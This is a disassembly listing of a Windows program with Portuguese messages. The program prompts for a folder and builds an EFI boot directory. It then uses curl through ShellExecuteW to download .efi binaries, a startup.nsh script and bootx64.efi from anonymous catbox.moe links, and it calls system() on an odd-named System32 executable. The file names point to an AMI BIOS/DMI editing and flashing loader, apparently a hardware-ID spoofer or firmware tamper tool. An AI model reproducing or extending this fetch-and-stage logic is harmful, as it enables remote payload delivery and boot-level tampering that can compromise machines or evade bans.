lea r8, [0x140171e54]
lea rcx, [rbp - 0x60]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp + 0x100]
mov rdx, rax
call fcn.140065140
mov rdx, rax
lea r8, [0x140176d90]
lea rcx, [rbp + 0xd0]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd0]
call fcn.140031ad0
lea rcx, [rbp + 0x100]
call fcn.140031ad0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400607ee
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400607e9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400607e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140135884
movdqa xmm0, xmmword [0x1401796a0]
lea rcx, [rbp + 0x2b8]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], r12b
call fcn.140031ad0
lea rcx, [rbp + 0x2d8]
call fcn.140031ad0
lea rcx, [rbp + 0x90]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140048180
lea rcx, [rbp + 0x120]
mov r15, rax
call fcn.140048180
mov r14, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x29
jb 0x1400608db
lea rcx, [r8 + 0x29]
mov rbx, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14006086a
mov rbx, qword [rax]
lea rax, [0x140176e29]
cmp rax, rbx
jbe 0x140060898
lea rax, [rbx + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
cmp rcx, rax
ja 0x140060898
cmp rbx, rcx
ja 0x140060890
mov rsi, r12
jmp 0x14006089b
mov rsi, rbx
sub rsi, rcx
jmp 0x14006089b
mov rsi, rdi
inc r8
lea rcx, [rbx + 0x29]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub rdi, rsi
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
add rdx, 0x29
lea rcx, [rbx + rsi]
add rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400608fd
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, r14
call fcn.140067a60
mov r14, rax
mov rdx, r14
lea rcx, [rbp - 0x40]
call fcn.1400636f0
mov r8, r13
lea rdx, [0x140171e54]
lea rcx, [rbp - 0x40]
call fcn.140064720
movzx edx, byte [rbp]
lea r8, [rbp - 0x20]
mov r9, r15
lea rcx, [rbp - 0x60]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
movups xmmword [rbp - 0x20], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp - 0x10], xmm1
mov byte [rax], r12b
call fcn.140066fa0
mov r8d, recv
lea rdx, [0x140176d90]
lea rcx, [rbp - 0x60]
call fcn.140064720
xorps xmm0, xmm0
lea rcx, [rbp + 0xb0]
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r12b
cmp qword [rbp + 0xc8], 0xf
cmova rcx, qword [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400609fb
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400609f6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060b6b
call fcn.140135884
mov rdx, qword [rbp - 0x48]
movdqa xmm0, xmmword [0x1401796a0]
mov byte [rbp + 0xb0], r12b
movdqu xmmword [rbp + 0xc0], xmm0
cmp rdx, 0xf
jbe 0x140060a4d
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060a48
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060b6b
call fcn.140135884
mov rdx, qword [rbp - 8]
movdqa xmm0, xmmword [0x1401796a0]
mov byte [rbp - 0x60], r12b
movdqu xmmword [rbp - 0x50], xmm0
cmp rdx, 0xf
jbe 0x140060a99
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060a94
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060b6b
call fcn.140135884
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140060ad4
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060acf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060b6b
call fcn.140135884
mov rdx, qword [rbp + 0x138]
movdqa xmm0, xmmword [0x1401796a0]
mov byte [rbp - 0x40], r12b
movdqu xmmword [rbp - 0x30], xmm0
cmp rdx, 0xf
jbe 0x140060b22
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060b1d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060b6b
call fcn.140135884
mov rdx, qword [rbp - 0x68]
movdqa xmm0, xmmword [0x1401796a0]
mov byte [rbp + 0x120], r12b
movdqu xmmword [rbp + 0x130], xmm0
cmp rdx, 0xf
jbe 0x140060b77
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140060b72
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140060b72
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140135884
xorps xmm0, xmm0
mov qword [rbp + 0x30], r12
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x50], xmm0
lea rax, str.Selecione_o_diretorio_de_download
movdqa xmmword [rbp + 0x60], xmm1
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov rbx, rax
test rax, rax
je 0x14006108f
lea rdx, [rbp + 0xae0]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0xf0]
mov qword [rbp + 0xf0], r12
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x140060bf9
mov rcx, qword [rbp + 0xf0]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0xd0]
call fcn.1400633a0
mov rdx, rax
lea r8, str.efi
lea rcx, [rbp + 0x288]
call fcn.140065380
lea rcx, [rbp + 0xd0]
call fcn.1400467e0
lea r8, str._boot
lea rdx, [rbp + 0x288]
lea rcx, [rbp - 0x60]
call fcn.1400653f0
lea rcx, [rbp + 0x288]
call fcn.140063310
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140060c76
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140060c76
lea rdx, str.Erro_ao_criar_a_pasta_efi.
jmp 0x140060ca2
lea rcx, [rbp - 0x60]
call fcn.140063310
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140060cc3
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140060cc3
lea rdx, str.Erro_ao_criar_a_pasta_boot.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140064c40
lea rdx, [0x140065090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140061078
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0xd0]
call fcn.1400633a0
mov rdx, rax
lea r8, str.AMIDEEFIx64.efi
lea rcx, [rbp + 0x268]
call fcn.140065380
lea rcx, [rbp + 0xd0]
call fcn.1400467e0
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0xd0]
call fcn.1400633a0
mov rdx, rax
lea r8, str.AfuEfix64.efi
lea rcx, [rbp + 0x120]
call fcn.140065380
lea rcx, [rbp + 0xd0]
call fcn.1400467e0
lea r8, [rbp + 0x268]
lea rdx, str.https:__files.catbox.moe_46f8mz.efi__o__
lea rcx, [rbp + 0x100]
call fcn.140065460
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0xd0]
call fcn.140065380
mov rcx, rax
call fcn.140063310
mov r9, rax
mov dword [rsp + 0x28], r12d
lea r8, str.curl
mov qword [rsp + 0x20], r12
lea rdx, [0x140176f68]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xd0]
call fcn.1400467e0
lea rcx, [rbp + 0x100]
call fcn.1400467e0
lea r8, [rbp + 0x120]
lea rdx, str.https:__files.catbox.moe_55mp9p.efi__o__
lea rcx, [rbp + 0x100]
call fcn.140065460
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0xd0]
call fcn.140065380
mov rcx, rax
call fcn.140063310
mov r9, rax
mov dword [rsp + 0x28], r12d
lea r8, str.curl
mov qword [rsp + 0x20], r12
lea rdx, [0x140176f68]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xd0]
call fcn.1400467e0
lea rcx, [rbp + 0x100]
call fcn.1400467e0
lea r8, str._startup.nsh
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x20]
call fcn.1400653f0
lea r8, str._bootx64.efi
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.1400653f0
lea r8, [rbp - 0x20]
lea rdx, str.https:__files.catbox.moe_rhyxqq.nsh__o__
lea rcx, [rbp + 0x100]
call fcn.140065460
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0xd0]
call fcn.140065380
mov rcx, rax
call fcn.140063310
mov dword [rsp + 0x28], r12d
mov r9, rax
mov qword [rsp + 0x20], r12
lea r8, str.curl
xor ecx, ecx
lea rdx, [0x140176f68]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xd0]
mov rbx, rax
call fcn.1400467e0
lea rcx, [rbp + 0x100]
call fcn.1400467e0
cmp rbx, 0x20
ja 0x140060ec0
lea rdx, str.Erro_ao_baixar_o_arquivo_startup.nsh.
jmp 0x140061032
lea r8, [rbp - 0x40]
lea rdx, str.https:__files.catbox.moe_7e1ty3.txt__o__
lea rcx, [rbp + 0x100]
call fcn.140065460
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0xd0]
call fcn.140065380
mov rcx, rax
call fcn.140063310
mov r9, rax
mov dword [rsp + 0x28], r12d
lea r8, str.curl
mov qword [rsp + 0x20], r12
lea rdx, [0x140176f68]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xd0]
mov rbx, rax
call fcn.1400467e0
lea rcx, [rbp + 0x100]
call fcn.1400467e0
cmp rbx, 0x20
ja 0x140060f45
lea rdx, str.Erro_ao_baixar_o_arquivo_bootx64.efi.
jmp 0x140061032
lea rcx, [rbp + 0x268]
call fcn.140063310
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006102b
lea rcx, [rbp + 0x120]
call fcn.140063310
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006102b
lea rcx, [rbp - 0x20]
call fcn.140063310
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006102b
lea rcx, [rbp - 0x40]
call fcn.140063310
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006102b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Arquivos_baixados_com_sucesso_em:
call fcn.1400654d0
mov rcx, rax
lea rdx, [rbp + 0xae0]
call fcn.1400654d0
lea rdx, [0x1400656a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x40]
call fcn.1400467e0
lea rcx, [rbp - 0x20]
call fcn.1400467e0
lea rcx, [rbp + 0x120]
call fcn.1400467e0
lea rcx, [rbp + 0x268]
call fcn.1400467e0
lea rcx, [rbp - 0x60]
call fcn.1400467e0
lea rcx, [rbp + 0x288]
call fcn.1400467e0
xor eax, eax
jmp 0x1400610b5
lea rdx, str.Erro_ao_baixar_os_arquivos.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140064c40
lea rdx, [0x140065090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x40]
call fcn.1400467e0
lea rcx, [rbp - 0x20]
call fcn.1400467e0
lea rcx, [rbp + 0x120]
call fcn.1400467e0
lea rcx, [rbp + 0x268]
call fcn.1400467e0
lea rcx, [rbp - 0x60]
call fcn.1400467e0
lea rcx, [rbp + 0x288]
call fcn.1400467e0
jmp 0x1400610b2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Nenhum_diret
call fcn.140064c40
lea rdx, [0x140065090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, r13d
mov r15, qword [rsp + 0xec0]
movaps xmm12, xmmword [rsp + 0xe20]
movaps xmm11, xmmword [rsp + 0xe30]
movaps xmm10, xmmword [rsp + 0xe40]
movaps xmm9, xmmword [rsp + 0xe50]
movaps xmm8, xmmword [rsp + 0xe60]
movaps xmm7, xmmword [rsp + 0xe70]
movaps xmm6, xmmword [rsp + 0xe80]
movaps xmm13, xmmword [rsp + 0xe10]
movaps xmm15, xmmword [rsp + 0xdf0]
lea r11, [rsp + 0xe90]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret